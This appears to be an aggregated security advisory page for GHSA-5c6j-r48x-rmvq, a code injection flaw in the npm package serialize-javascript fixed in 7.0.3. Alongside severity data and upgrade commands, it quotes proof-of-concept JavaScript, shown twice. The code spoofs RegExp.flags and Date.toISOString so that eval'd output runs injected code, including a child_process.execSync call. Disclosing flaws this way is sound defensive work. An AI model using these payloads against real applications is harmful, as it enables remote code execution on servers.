GHSA-5c6j-r48x-rmvq: Serialize javascript Remote Code Execution Vulnerability

HIGH
CVSS 8.1
CWE-96
Published
Advisory Summary

GHSA-5c6j-r48x-rmvq is a HIGH (CVSS 8.1) remote code execution vulnerability (CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')) affecting Serialize javascript libraries in the npm ecosystem. The issue involves serialize javascript is vulnerable to rce via regexp.flags and date.prototype.toisostring(). Remediation is available by upgrading affected packages to version 7.0.3.

GHSA-5c6j-r48x-rmvq at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-5c6j-r48x-rmvq
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
Affected Product Serialize javascript
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-5c6j-r48x-rmvq

To remediate this vulnerability, upgrade all affected Serialize javascript dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

serialize-javascript fixed: 7.0.3
npm install serialize-javascript@7.0.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls serialize-javascript

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-5c6j-r48x-rmvq, inspect your project dependencies using npm:

npm ls serialize-javascript

Analyze the terminal output to locate any version of Serialize javascript in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.3), your application is affected.

Note: The npm ls serialize-javascript command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection'), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template. In Serialize javascript, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

GHSA-5c6j-r48x-rmvq Affected Serialize javascript Versions

1 component(s)
Fixed Versions:
7.0.3
Product / Package Ecosystem Affected Versions Fixed Version
serialize-javascript
npm
< 7.0.3
7.0.3

References

Frequently Asked Questions

What is GHSA-5c6j-r48x-rmvq?
GHSA-5c6j-r48x-rmvq is a security vulnerability in Serialize javascript involving Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString() under CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection').
Which Serialize javascript versions are affected?
Affected versions include releases prior to 7.0.3 across affected packages: serialize-javascript.
What version fixes GHSA-5c6j-r48x-rmvq?
Upgrading to 7.0.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is serialize-javascript affected?
Yes, serialize-javascript is affected in releases prior to 7.0.3. Upgrade your dependency to 7.0.3 or later.
What is the CVSS score of GHSA-5c6j-r48x-rmvq?
GHSA-5c6j-r48x-rmvq has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-5c6j-r48x-rmvq?
GHSA-5c6j-r48x-rmvq is classified under CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.).
How can I check npm dependencies for GHSA-5c6j-r48x-rmvq?
Run the dependency tree command: 'npm ls serialize-javascript'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5c6j-r48x-rmvq",
  "modified" : "2026-03-02T16:17:35Z",
  "published" : "2026-02-28T02:50:45Z",
  "aliases" : [ ],
  "summary" : "Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()",
  "details" : "### Impact\n\nThe serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.\n\n```javascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () => 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\n  get: () => '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return '\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"'; };\nfakeDate.toJSON = function() { return '2024-01-01'; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval('obj = ' + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" — injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require('serialize-javascript');\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, 'source', { get: () => 'x' });\nObject.defineProperty(rceRegex, 'flags', {\n  get: () => '\"+require(\"child_process\").execSync(\"id\").toString()+\"'\n});\nrceRegex.toJSON = function() { return '@rce'; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval'd on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "serialize-javascript"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.0.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2020-7660"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-hxcc-f52p-wc94"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yahoo/serialize-javascript"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-96" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-28T02:50:45Z",
    "nvd_published_at" : null
  }
}